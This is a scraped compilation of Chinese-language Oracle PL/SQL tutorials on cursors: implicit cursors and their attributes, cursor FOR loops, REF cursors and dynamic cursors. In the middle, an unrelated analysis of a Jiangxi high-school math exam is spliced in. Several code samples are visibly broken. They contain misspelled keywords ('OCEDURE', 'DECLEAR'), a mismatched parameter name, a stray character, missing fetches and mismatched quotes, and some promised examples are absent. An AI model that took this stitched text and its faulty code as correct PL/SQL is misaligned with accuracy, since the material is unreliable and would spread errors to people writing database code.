游标和异常处理 游标的概念 游标是SQL的一个内存工作区,由系统或用户以变量的形式定义。 游标的作用就是用于临时存储从数据库中提取的数据块。 在某些情况下,需要把数据从存放在磁盘的表中调到计算机内存中进行处理,最后将处理结果显示出来或最终写回数据库。这样数据处理的速度才会提高,否则频繁的磁盘数据交换会降低效率。 游标有两种类型:显式游标和隐式游标。 在前述程序中用到的SELECT...INTO...查询语句,一次只能从数据库中提取一行数据,对于这种形式的查询和DML操作,系统都会使用一个隐式游标。但是如果要提取多行数据,就要由程序员定义一个显式游标,并通过与游标有关的语句进行处理。 显式游标对应一个返回结果为多行多列的SELECT语句。 游标一旦打开,数据就从数据库中传送到游标变量中,然后应用程序再从游标变量中分解出需要的数据,并进行处理。

隐式游标 如前所述,DML操作和单行SELECT语句会使用隐式游标,它们是: * 插入操作:INSERT。 * 更新操作:UPDATE。 * 删除操作:DELETE。 * 单行查询操作:SELECT ... INTO ...。 当系统使用一个隐式游标时,可以通过隐式游标的属性来了解操作的状态和结果,进而控制程序的流程。隐式游标可以使用名字SQL来访问,但要注意,通过SQL游标名总是只能访问前一个DML操作或单行SELECT操作的游标属性。所以通常在刚刚执行完操作之后,立即使用SQL游标名来访问属性。游标的属性有四种,如下表所示。 范例:使用隐式游标的属性,判断对雇员工资的修改是否成功。

说明:本例中,通过SQL%FOUND属性判断修改是否成功,并给出相应信息。 显式游标 游标的定义和操作 游标的使用分成以下4个步骤。 1.声明游标 在DECLEAR部分按以下格式声明游标:

Oracle 游标FOR循环

Oracle 游标FOR 循环 从上面的示例中可以发现,游标通常是与循环联合使用。实际上,PL/SQL 还提供了一种将两者综合在一起的语句,即游标FOR 循环语句。游标FOR 循环是显式游标的一种快捷使用方式,它使用FOR 循环依次读取结果集中的数据。当FOR 循环开始时,游标会自动打开(不需要使用OPEN 方法),每循环一次系统自动读取游标当前行的数据(不需要使用FETCH ),当退出FOR 循环时,游标被自动关闭(不需要使用CLOSE )。 FOR 循环的语法如下: for cursor_record in cursor_name loop statements; end loop; 这个FOR 循环将不断地将行读入变量CURSOR_RECORD 中,在循环中也可以存取CURSOR_RECORD 中的字段。 例如,下面的示例使用游标FOR 循环实现查询EMP 表中的数据。 SQL> set serveroutput on SQL> declare 2 cursor emp_cursor is 3 select * from emp 4 where deptno=10; 5 begin 6 for r in emp_cursor loop 7 dbms_output.put(r.empno || ' '); 8 dbms_output.put(r.ename || ' '); 9 dbms_output.put(r.job || ' '); 10 dbms_output.put_line(r.sal); 11 end loop; 12 end; 13 / 7782 CLARK MANAGER 2450 7839 KING PRESIDENT 5000 7934 MILLER CLERK 1300 PL/SQL 过程已成功完成。 注 意 在使用游标FOR 循环时,一定不能使用OPEN 语句、FETCH 语句和CLOSE 语句,否则将产生错误。

Oracle数据库游标

Oracle数据库游标 SQL是用于访问ORACLE数据库的语言,PL/SQL扩展和加强了SQL的功能,它同时引入了更强的程序逻辑。PL/SQL支持DML命令和SQL的事务控制语句。DDL在PL/SQL 中不被支持,这就意味作在PL/SQL程序块中不能创建表或其他任何对象。较好的PL/SQL 程序设计是在PL/SQL块中使用象DBMS_SQL这样的内建包或执行EXECUTE IMMEDIATE命令建立动态SQL来执行DDL命令,PL/SQL编译器保证对象引用以及用户的权限。 下面我们将讨论各种用于访问ORACLE数据库的DDL和TCL语句。 查询 SELECT语句用于从数据库中查询数据,当在PL/SQL中使用SELECT语句时,要与INTO子句一起使用,查询的返回值被赋予INTO子句中的变量,变量的声明是在DELCARE 中。SELECT INTO语法如下: PL/SQL中SELECT语句只返回一行数据。如果超过一行数据,那么就要使用显式游标(对游标的讨论我们将在后面进行),INTO子句中要有与SELECT子句中相同列数量的变量。INTO子句中也可以是记录变量。 %TYPE属性 在PL/SQL中可以将变量和常量声明为内建或用户定义的数据类型,以引用一个列名,同时继承他的数据类型和大小。这种动态赋值方法是非常有用的,比如变量引用的列的数据类型和大小改变了,如果使用了%TYPE,那么用户就不必修改代码,否则就必须修改代码。 例: 不但列名可以使用%TYPE,而且变量、游标、记录,或声明的常量都可以使用%TYPE。这对于定义相同数据类型的变量非常有用。

其他DML语句 其它操作数据的DML语句是:INSERT、UPDATE、DELETE和LOCK TABLE,这些语句在PL/SQL中的语法与在SQL中的语法相同。我们在前面已经讨论过DML语句的使用这里就不再重复了。在DML语句中可以使用任何在DECLARE部分声明的变量,如果是嵌套块,那么要注意变量的作用范围。 例: CREATE OR REPLACE OCEDURE FIRE_EMPLOYEE (pempno in number) AS v_ename EMP.ENAME%TYPE; BEGIN SELECT ename INTO v_ename FROM emp WHERE empno=p_empno; INSERT INTO FORMER_EMP(EMPNO,ENAME) VALUES (p_empno,v_ename); DELETE FROM emp WHERE empno=p_empno; UPDATE former_emp SET date_deleted=SYSDATE WHERE empno=p_empno; EXCEPTION WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE('Employee Number Not Found!'); END

oracle存储过程返回多个游标实例 - 浪迹天涯 - BlogJava

oracle存储过程返回多个游标实例- 浪迹天涯- BlogJava oracle 存储过程返回多个游标实例 定义两个包(package) CREATE OR REPLACE PACKAGE pro_package_test_001 AS TYPE Test_CURSOR01 IS REF CURSOR; end pro_package_test_001; CREATE OR REPLACE PACKAGE pro_package_test_002 AS TYPE Test_CURSOR02 IS REF CURSOR; end pro_package_test_002; 定义存储过程 CREATE OR REPLACE PROCEDURE pro_query_001 ( --参数IN表示输入参数,OUT表示输入参数,类型可以使用任意Oracle中的合

法类型。 in_lx IN Varchar2, p_cus_01 OUT pro_package_test_001.Test_CURSOR01, p_cus_02 OUT pro_package_test_002.Test_CURSOR02 ) AS --定义变量 vs_lx VARCHAR2(1); --变量 vs_test1_id VARCHAR2(100); --变量 vs_test1_mc VARCHAR2(100); --变量 vs_test2_id VARCHAR2(100); --变量 vs_test2_mc VARCHAR2(100); --变量 --default_c SYS_REFCURSOR; BEGIN --用输入参数给变量赋初值。 vs_lx:= in_lx; --插入test1表。 OPEN p_cus_01 FOR Select a.id As id1, a.mc As mc1, b.id As id2, b.mc As mc2

oracle 动态游标

ORACLE上机练习 理论部分: 1.动态游标的使用方法 前面所讲都是在变量声明部分定义的游标,它是静态的。不能在程序运行过程中修改。通过采用动态游标,可以在程序运行阶段,随时生成一个查询语句作为游标。 使用动态游标步骤: 定义游标类型: TYPE 游标类型名 REF CURSOR; 声明游标变量: 游标变量名游标类型名; 生成查询语句作为游标: OPEN 游标变量名 FOR 查询语句字符串; 【例】利用游标显示每个部门的工资总和和每个职位的平均工资。 提示:动态生成两个游标 declare bm number; zw varchar2(10); tt number; str varchar2(50); type cur_type is ref cursor; --定义游标类型 cur cur_type; --定义游标变量 begin str:= 'select deptno,sum(sal) from emp group by deptno'; --查询字符串 open cur for str; dbms_output.put_line('每个部门的工资总和:'); u while cur%found loop dbms_output.put_line(bm||’‘||tt); fetch cur into bm,tt; end loop; str:= 'select job,avg(sal) from emp group by job’; --查询字符串 open cur for str; dbms_output.put_line('每个职位的工资总和:'); fetch cur into zw,tt; while cur%found loop dbms_output.put_line(zw||’‘||tt); fetch cur into zw,tt; end loop; end;

Oracle数据库开发之游标基础实战视频课程

江西省南昌市2015-2016学年度第一学期期末试卷 (江西师大附中使用)高三理科数学分析 一、整体解读 试卷紧扣教材和考试说明,从考生熟悉的基础知识入手,多角度、多层次地考查了学生的数学理性思维能力及对数学本质的理解能力,立足基础,先易后难,难易适中,强调应用,不偏不怪,达到了“考基础、考能力、考素质”的目标。试卷所涉及的知识内容都在考试大纲的范围内,几乎覆盖了高中所学知识的全部重要内容,体现了“重点知识重点考查”的原则。 1.回归教材,注重基础 试卷遵循了考查基础知识为主体的原则,尤其是考试说明中的大部分知识点均有涉及,其中应用题与抗战胜利70周年为背景,把爱国主义教育渗透到试题当中,使学生感受到了数学的育才价值,所有这些题目的设计都回归教材和中学教学实际,操作性强。 2.适当设置题目难度与区分度 选择题第12题和填空题第16题以及解答题的第21题,都是综合性问题,难度较大,学生不仅要有较强的分析问题和解决问题的能力,以及扎实深厚的数学基本功,而且还要掌握必须的数学思想与方法,否则在有限的时间内,很难完成。 3.布局合理,考查全面,着重数学方法和数学思想的考察 在选择题,填空题,解答题和三选一问题中,试卷均对高中数学中的重点内容进行了反复考查。包括函数,三角函数,数列、立体几何、概率统计、解析几何、导数等几大版块问题。这些问题都是以知识为载体,立意于能力,让数学思想方法和数学思维方式贯穿于整个试题的解答过程之中。 二、亮点试题分析 1.【试卷原题】11.已知,,A B C 是单位圆上互不相同的三点,且满足AB AC → → =,则A BA C →→ ?的最小值为( ) A .1 4- B .12- C .34- D .1-

ORACLE中一般游标和ref游标

ORACLE中一般游标和ref游标 游标标是构建在PL/SQL中,用来查询数据,获取记录集的指针。它让开发者一次访问结果集中一行记录。在oracle中提供了两种游标: 1 静态游标 2 ref游标 静态游标:静态游标是在编译的时候就被确定。然后把结果集复制到内存中静态游标又分为两种:隐式游标和显示游标。 ref游标:ref游标是在运行的时候加载结果集 先来看看静态游标中的隐式游标在PL/SQL中为所有的SQL数据操纵语句(包括返回一行的select)隐式声明游标称为隐式游标。主要原因是用户不能直接命名和控制此类游标。当用户在PL/SQL 中使用数据操纵语句(DML)时,oracle 预先定义一个名称为SQL的隐式游标,通过检查隐式游标的属性获取与最近执行的SQL语句相关信息。在执行DML语句之后,隐式游标属性返回信息。隐式游标属性包括:%found %notfound %rowcount %isopen 1 %found只有DML语句影响一行或多行时,%found属性才返回true 返回值的类型为布尔型,值为TRUE代表插入删除更新或单行查询操作成功。

declare num number; begin update emp set empno=123 where empno=111; if sql%found then dbms_output.put_line('存在记录'); else dbms_output.put_line('不存在记录'); end if; end; 2 %notfound %notfound属性作用正好跟%found属性相反。如果DML语句没有影响任何行数,则%notfound属性返回true. 返回值为布尔型,判断游标所在的行是否有效,如果有效,则%FOUNDD等于true,否则等于false,即与%FOUND属性返回值相反。 declare begin delete from emp where empno=111; if sql%notfound then dbms_output.put_line('删除失败'); end if; end; 3 %rowcount %rowcount属性返回DML语句影响的行数。如果DML语句没有影响任何行数,则%rowcount属性将返回0。 返回值类型为整型,返回当前位置为止游标读取的记录行数,即成功执行的数据行数 declare num number; begin update emp set empno=123 where empno=111; if sql%rowcount=0 then dbms_output.put_line('不存在记录'); else dbms_output.put_line('存在记录');

相关主题
相关文档
最新文档